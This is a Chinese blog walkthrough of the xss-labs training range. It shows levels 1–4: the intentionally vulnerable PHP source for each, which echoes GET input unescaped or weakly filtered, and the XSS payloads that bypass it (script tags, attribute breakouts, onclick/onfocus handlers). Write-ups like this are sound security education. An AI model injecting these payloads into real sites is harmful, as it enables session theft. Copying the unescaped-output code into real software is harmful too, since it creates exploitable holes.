XSS-labs详解

本文围绕XSS靶场展开,介绍了xss - labs的下载地址。详细阐述了多关XSS挑战的绕过方法,如onclick、onfocus事件绕过、a href标签绕过、大小写绕过、双写绕过等,还涉及Referer注入、User Agent注入、cookie注入等,给出了各关对应的payload构造。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

xss-labs下载地址https://github.com/do0dl3/xss-labs

目录

进入靶场点击图片,开始我们的XSS之旅!​

Less-1

Less-2(闭合)

Less-3(onclick onfocus事件绕过)

Less-4(onclick onfocus事件绕过闭合)

Less-5(a href 标签绕过)

Less-6(大小写绕过)

Less-7(双写绕过)

Less-8(unicode编码绕过)

Less-9(注释http://绕过)

Less-10(隐藏的传参)

Less-11(Referer注入)

Less-12(User Agent注入)

Less-13(cookie注入)

Less-14(这一关有问题直接十五关)

Less15(ng-include文件包涵)

Less-16(url编码)

Less-17(embed标签)

Less-18(embed标签)

Less-19-20(flash技术已经全面停用了就不做了)


进入靶场点击图片,开始我们的XSS之旅!

Less-1

查看源码

代码从 URL 的 GET 参数中取得 "name" 的值,然后输出一个居中的标题,内容是 "欢迎用户" 后面跟上这个值,显示从 GET 参数中获取的 "name" 值的字符数。

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

我们修改一下输入尝试一下,没什么难点

直接上payload

<script>alert(1)</script>

点击确认进入下一关

Less-2(闭合)

我们使用第一关的测试方法尝试一下,打咩


直接看源码,看到,尝试一下闭合

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

看一下这个函数htmlspecialchars

"'><script>alert(1)<%2Fscript><"'

Less-3(onclick onfocus事件绕过)

输入数据,尝试一下输出位置,发现三个位置有输出

直接上源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这里使用 htmlspecialchars 函数对 $str 进行转义

表单包含一个文本输入框,其 name 属性为 "keyword",value 属性设置为 $str。这里也使用了 htmlspecialchars 函数对 $str 进行转义

我们使用一个onclick事件属性进行一个绕过构造payload

' οnclick='alert(1)

也可以使用onfocus事件进行绕过,构造payload

' οnfοcus='alert(1)

Less-4(onclick onfocus事件绕过闭合)

进入第四关我们依旧尝试之前的语句

' οnclick='alert(1),发现不行

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

改变一下闭合,构造payload

"οnclick="alert(1)

"οnfοcus="alert(1)也行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值